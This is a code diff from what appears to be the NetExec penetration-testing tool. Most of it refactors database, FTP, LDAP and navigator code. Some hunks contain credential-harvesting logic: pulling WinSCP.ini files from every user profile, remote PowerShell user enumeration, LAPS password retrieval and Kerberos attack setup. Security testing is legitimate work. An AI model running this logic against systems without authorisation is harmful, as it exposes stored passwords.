@@ -308,11 +307,7 @@ class NXCModule:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
finally:
try:
remote_ops.finish()
except rrp.DCERPCSessionError as e:
# Likely can't stop rrp due to other services dependending on it
context.log.debug(f"Error finishing remote operations: {e}")
remote_ops.finish()
# ==================== Handle Configs ====================
def decode_config_file(self, context, confFile):
@@ -352,19 +347,14 @@ class NXCModule:
context.log.debug(traceback.format_exc())
else:
context.log.display("Looking for WinSCP creds in User documents and AppData...")
users = []
out = connection.conn.listPath(self.share, "\\Users\\*")
for obj in out:
if obj.get_longname() in [".", ".."] or not obj.is_directory():
continue
else:
users.append(obj.get_longname())
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = [row.strip() for row in output.split("\r\n")[2:]]
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
paths = [
(f"\\Users\\{user}\\Documents\\WinSCP.ini"),
(f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"),
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
]
for path in paths:
conf_file = ""
@@ -373,12 +363,9 @@ class NXCModule:
connection.conn.getFile(self.share, path, buf.write)
conf_file = buf.getvalue().decode()
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
except SessionError as e:
context.log.debug(f"No config file found at '{self.share + path}': {e}")
except Exception as e:
context.log.fail(f"Error getting config file at '{self.share + path}': {e}")
context.log.debug(traceback.format_exc())
else:
context.log.debug(f"No config file found at '{self.share + path}': {e}")
if conf_file:
self.decode_config_file(context, conf_file)
def on_admin_login(self, context, connection):
+1 -4
View File
@@ -1,4 +1,3 @@
# PYTHON_ARGCOMPLETE_OK
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file
@@ -143,6 +142,7 @@ def main():
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -174,9 +174,6 @@ def main():
for module in args.module:
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.show_module_options:
nxc_logger.error("--options requires -M/--module")
exit(1)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
+1 -1
View File
@@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd):
if cred[4] == "hash":
usernames.append(cred[2])
passwords.append(cred[3])
output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)]
output_list = [":".join(combination) for combination in zip(usernames, passwords)]
write_list(filename, output_list)
else:
print(f"[-] No such export option: {line[1]}")
+2 -43
View File
@@ -1,6 +1,4 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from uuid import UUID
def parse_result_attributes(ldap_response):
parsed_response = []
@@ -10,45 +8,6 @@ def parse_result_attributes(ldap_response):
continue
attribute_map = {}
for attribute in entry["attributes"]:
val_list = []
for val in attribute["vals"].components:
# Typical Byte objects we know how to decode
if str(attribute["type"]) == "objectGUID":
val_decoded = UUID(bytes=val.__bytes__())
elif str(attribute["type"]) == "objectSid":
val_decoded = sid_to_str(val.__bytes__())
else:
# For the rest we try to decode the value with its encoding
try:
encoding = val.encoding
val_decoded = str(val).encode(encoding).decode("utf-8")
except UnicodeDecodeError:
# If we can't decode the value, we'll just return the bytes
val_decoded = val.__bytes__()
val_list.append(val_decoded)
if len(val_list) == 1:
attribute_map[str(attribute["type"])] = val_list[0]
else:
attribute_map[str(attribute["type"])] = val_list
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
parsed_response.append(attribute_map)
return parsed_response
def sid_to_str(sid):
try:
# revision
revision = int(sid[0])
# count of sub authorities
sub_authorities = int(sid[1])
# big endian
identifier_authority = int.from_bytes(sid[2:8], byteorder="big")
# If true then it is represented in hex
if identifier_authority >= 2**32:
identifier_authority = hex(identifier_authority)
# loop over the count of small endians
sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)])
return "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
except Exception:
pass
return sid
return parsed_response
+1 -3
View File
@@ -3,7 +3,7 @@ from nxc.logger import nxc_logger
# right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases
protocol_dict = {
"ftp": {"ports": [21], "services": ["ftp"]},
"Ftp": {"ports": [21], "services": ["Ftp"]},
"ssh": {"ports": [22, 2222], "services": ["ssh"]},
"smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]},
"ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]},
@@ -11,8 +11,6 @@ protocol_dict = {
"rdp": {"ports": [3389], "services": ["ms-wbt-server"]},
"winrm": {"ports": [5985, 5986], "services": ["wsman"]},
"vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]},
"wmi": {"ports": [135], "services": ["msrpc"]},
"nfs": {"ports": [2049], "services": ["nfs"]},
}
+4 -8
View File
@@ -24,23 +24,19 @@ class ftp(connection):
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
pass
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
return True
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
return True
def create_conn_obj(self):
self.conn = FTP()
+50 -31
View File
@@ -1,23 +1,31 @@
import sys
from sqlalchemy import Table, select, delete, func
from pathlib import Path
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, delete, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB, format_host_query
from nxc.logger import nxc_logger
import sys
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
self.sess = Session()
@staticmethod
def db_schema(db_conn):
@@ -72,13 +80,26 @@ class database(BaseDB):
)
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.sess.execute(table.delete())
def add_host(self, host, port, banner):
"""Check if this host is already in the DB, if not add it"""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
# create new host
if not results:
@@ -112,7 +133,7 @@ class database(BaseDB):
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts) # .scalar()
self.sess.execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -122,9 +143,8 @@ class database(BaseDB):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.db_execute(q).all()
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.sess.execute(q).all()
# add new credential
if not results:
@@ -150,11 +170,10 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
set_=update_columns_users)
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
self.sess.execute(q_users, credentials) # .scalar()
# hacky way to get cred_id since we can't use returning() yet
if len(credentials) == 1:
@@ -168,7 +187,7 @@ class database(BaseDB):
for cred_id in creds_id:
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
self.sess.execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -176,7 +195,7 @@ class database(BaseDB):
self.CredentialsTable.c.id == credential_id,
self.CredentialsTable.c.password is not None,
)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_credential(self, username, password):
@@ -184,7 +203,7 @@ class database(BaseDB):
self.CredentialsTable.c.username == username,
self.CredentialsTable.c.password == password,
)
results = self.db_execute(q).first()
results = self.sess.execute(q).first()
if results is not None:
return results.id
@@ -201,12 +220,12 @@ class database(BaseDB):
else:
q = select(self.CredentialsTable)
return self.db_execute(q).all()
return self.sess.execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
@@ -216,26 +235,26 @@ class database(BaseDB):
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
results = self.sess.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by host
elif filter_term and filter_term != "":
q = format_host_query(q, filter_term, self.HostsTable)
results = self.db_execute(q).all()
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.host.like(like_term))
results = self.sess.execute(q).all()
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
return results
def is_user_valid(self, cred_id):
"""Check if this User ID is valid."""
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_user(self, username):
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
return self.db_execute(q).all()
return self.sess.execute(q).all()
def get_users(self, filter_term=None):
q = select(self.CredentialsTable)
@@ -246,14 +265,14 @@ class database(BaseDB):
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
return self.db_execute(q).all()
return self.sess.execute(q).all()
def add_loggedin_relation(self, cred_id, host_id):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.credid == cred_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.db_execute(relation_query).all()
results = self.sess.execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -263,7 +282,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.db_execute(q, [relation]) # .scalar()
self.sess.execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -276,7 +295,7 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.db_execute(q).all()
return self.sess.execute(q).all()
def remove_loggedin_relations(self, cred_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -284,7 +303,7 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
self.sess.execute(q)
def add_directory_listing(self, lir_id, data):
pass
+700 -512
View File
File diff suppressed because it is too large. Load diff
+32 -192
View File
@@ -1,34 +1,38 @@
import sys
from sqlalchemy import func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB, format_host_query
from nxc.logger import nxc_logger
import sys
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.UsersTable = None
self.CredentialsTable = None
self.HostsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
db_conn.execute(
"""CREATE TABLE "users" (
"""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"domain" text,
"username" text,
"password" text,
"credtype" text,
"pillaged_from_hostid" integer,
FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id)
"password" text
)"""
)
@@ -37,15 +41,14 @@ class database(BaseDB):
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" text,
"os" text
"port" integer
)"""
)
def reflect_tables(self):
with self.db_engine.connect():
try:
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
@@ -57,178 +60,15 @@ class database(BaseDB):
)
sys.exit()
def add_host(self, ip, hostname, domain, os):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"ip": ip,
"hostname": hostname,
"domain": domain,
"os": os
}
hosts = [new_host]
# update existing hosts data
else:
for host in results:
host_data = host._asdict()
# only update column if it is being passed in
if ip is not None:
host_data["ip"] = ip
if hostname is not None:
host_data["hostname"] = hostname
if domain is not None:
host_data["domain"] = domain
# only add host to be updated if it has changed
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Update Hosts: {hosts}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
groups = []
if pillaged_from and not self.is_host_valid(pillaged_from):
nxc_logger.debug("Invalid host")
return
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.db_execute(q).all()
# add new credential
if not results:
new_cred = {
"credtype": credtype,
"domain": domain,
"username": username,
"password": password,
"pillaged_from": pillaged_from,
}
credentials = [new_cred]
# update existing cred data
else:
for creds in results:
# this will include the id, so we don't touch it
cred_data = creds._asdict()
# only update column if it is being passed in
if credtype is not None:
cred_data["credtype"] = credtype
if domain is not None:
cred_data["domain"] = domain
if username is not None:
cred_data["username"] = username
if password is not None:
cred_data["password"] = password
if pillaged_from is not None:
cred_data["pillaged_from"] = pillaged_from
# only add cred to be updated if it has changed
if cred_data not in credentials:
credentials.append(cred_data)
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
if groups:
q_groups = Insert(self.GroupRelationsTable)
self.db_execute(q_groups, groups)
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
del_hosts = []
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
q = select(self.UsersTable).filter(
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
"""Return credentials from the database."""
# if we're returning a single credential by ID
if self.is_credential_valid(filter_term):
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
elif cred_type:
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
self.UsersTable.c.username == username,
self.UsersTable.c.password == password,
self.UsersTable.c.credtype == cred_type,
)
results = self.db_execute(q).first()
return results.id
def get_hosts(self, filter_term=None, domain=None):
"""Return hosts from the database."""
q = select(self.HostsTable)
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif filter_term is not None and filter_term.startswith("domain"):
domain = filter_term.split()[1]
like_term = func.lower(f"%{domain}%")
q = q.filter(self.HostsTable.c.domain.like(like_term))
# if we're filtering by ip/hostname
elif filter_term and filter_term != "":
q = format_host_query(q, filter_term, self.HostsTable)
results = self.db_execute(q).all()
nxc_logger.debug(f"ldap hosts() - results: {results}")
return results
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
return len(results) > 0
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+1 -177
View File
@@ -1,183 +1,7 @@
from nxc.helpers.misc import validate_ntlm
from nxc.nxcdb import DatabaseNavigator, print_table, print_help
from nxc.nxcdb import DatabaseNavigator, print_help
class navigator(DatabaseNavigator):
def display_hosts(self, hosts):
data = [
[
"HostID",
"IP",
"Hostname",
"Domain",
"OS"
]
]
for host in hosts:
host_id = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
try:
os = host[4].decode()
except Exception:
os = host[4]
data.append(
[
host_id,
ip,
hostname,
domain,
os
]
)
print_table(data, title="Hosts")
def do_hosts(self, line):
filter_term = line.strip()
if filter_term == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filter_term=filter_term)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [
[
"HostID",
"IP",
"Hostname",
"Domain",
"OS"
]
]
host_id_list = []
for host in hosts:
host_id = host[0]
host_id_list.append(host_id)
ip = host[1]
hostname = host[2]
domain = host[3]
try:
os = host[4].decode()
except Exception:
os = host[4]
data.append(
[
host_id,
ip,
hostname,
domain,
os
]
)
print_table(data, title="Host")
def help_hosts(self):
help_string = """
hosts [filter_term]
By default prints all hosts
Table format:
| 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
Subcommands:
filter_term - filters hosts with filter_term
If a single host is returned (e.g. `hosts 15`, it prints the following tables:
Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns
"""
print_help(help_string)
def display_creds(self, creds):
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
for cred in creds:
cred_id = cred[0]
domain = cred[1]
username = cred[2]
password = cred[3]
credtype = cred[4]
data.append(
[
cred_id,
credtype,
domain,
username,
password
]
)
print_table(data, title="Credentials")
def do_creds(self, line):
filter_term = line.strip()
if filter_term == "":
creds = self.db.get_credentials()
self.display_creds(creds)
elif filter_term.split()[0].lower() == "add":
args = filter_term.split()[1:]
if len(args) == 3:
domain, username, password = args
if validate_ntlm(password):
self.db.add_credential("hash", domain, username, password)
else:
self.db.add_credential("plaintext", domain, username, password)
else:
print("[!] Format is 'add domain username password")
return
elif filter_term.split()[0].lower() == "remove":
args = filter_term.split()[1:]
if len(args) != 1:
print("[!] Format is 'remove <credID>'")
return
else:
self.db.remove_credentials(args)
elif filter_term.split()[0].lower() == "plaintext":
creds = self.db.get_credentials(cred_type="plaintext")
self.display_creds(creds)
elif filter_term.split()[0].lower() == "hash":
creds = self.db.get_credentials(cred_type="hash")
self.display_creds(creds)
else:
creds = self.db.get_credentials(filter_term=filter_term)
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
cred_id_list = []
for cred in creds:
cred_id_list.append(cred[0])
data.append([cred[0], cred[1], cred[2], cred[3], cred[4]])
print_table(data, title="Credential(s)")
def help_creds(self):
help_string = """
creds [add|remove|plaintext|hash|filter_term]
By default prints all creds
Table format:
| 'CredID', 'CredType', 'Domain', 'UserName', 'Password' |
Subcommands:
add - format: "add domain username password <notes> <credType> <sid>"
remove - format: "remove <credID>"
plaintext - prints plaintext creds
hash - prints hashed creds
filter_term - filters creds with filter_term
If a single credential is returned (e.g. `creds 15`, it prints the following tables:
Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password'
Otherwise, it prints the default credential table from a `like` query on the `username` column
"""
print_help(help_string)
def do_clear_database(self, line):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
-5
View File
@@ -28,7 +28,6 @@ class KerberosAttacks:
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.host = connection.host
self.targetDomain = connection.targetDomain
self.hash = connection.hash
self.lmhash = ""
@@ -224,10 +223,6 @@ class KerberosAttacks:
message = encoder.encode(as_req)
# If kdcHost isn't set, use the target IP for DNS resolution
if not self.kdcHost:
self.kdcHost = self.host
try:
r = sendReceive(message, domain, self.kdcHost)
except KerberosError as e:
+31 -27
View File
@@ -1,3 +1,5 @@
import binascii
import hashlib
from json import loads
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
@@ -35,13 +37,12 @@ class LDAPConnect:
def proto_logger(self, host, port, hostname):
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
lmhash = ""
nthash = ""
if kdcHost is None or domain not in kdcHost:
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
exit(1)
if kdcHost is None:
kdcHost = domain
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
@@ -53,13 +54,12 @@ class LDAPConnect:
baseDN = ""
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"DC={i},"
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
ldap_connection.kerberosLogin(
username,
password,
@@ -78,7 +78,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldap_connection.login(
username,
password,
@@ -105,14 +105,18 @@ class LDAPConnect:
color="magenta" if error_code in ldap_error_status else "red",
)
return False
except OSError:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
except KerberosError as e:
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
color="red",
)
return False
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
def auth_login(self, domain, username, password, ntlm_hash):
lmhash = ""
nthash = ""
@@ -131,7 +135,7 @@ class LDAPConnect:
base_dn = base_dn[:-1]
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
@@ -144,7 +148,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
@@ -169,7 +173,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -183,7 +187,6 @@ class LAPSv2Extract:
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.logger = None
self.dns_server = dns_server
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -215,7 +218,7 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
@@ -260,7 +263,7 @@ class LAPSv2Extract:
return plaintext[:-18].decode("utf-16le")
def laps_search(self, username, password, cred_type, domain, dns_server):
def laps_search(self, username, password, cred_type, domain):
prev_protocol = self.logger.extra["protocol"]
prev_port = self.logger.extra["port"]
self.logger.extra["protocol"] = "LDAP"
@@ -271,7 +274,7 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return None, None, None
return None, None, None, None
connection = ldapco.kerberos_login(
domain[0],
@@ -280,7 +283,6 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
password[0] if cred_type[0] == "hash" else "",
kdcHost=self.kdcHost,
aesKey=self.aesKey,
dns_server=dns_server
)
else:
connection = ldapco.auth_login(
@@ -288,12 +290,11 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
password[0] if cred_type[0] == "hash" else "",
dns_server
)
if not connection:
self.logger.fail(f"LDAP connection failed with account {username[0]}")
return None, None, None
return None, None, None, None
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
attributes = [
@@ -324,14 +325,13 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
339,
dns_server
339
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None
return None, None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
@@ -346,17 +346,21 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
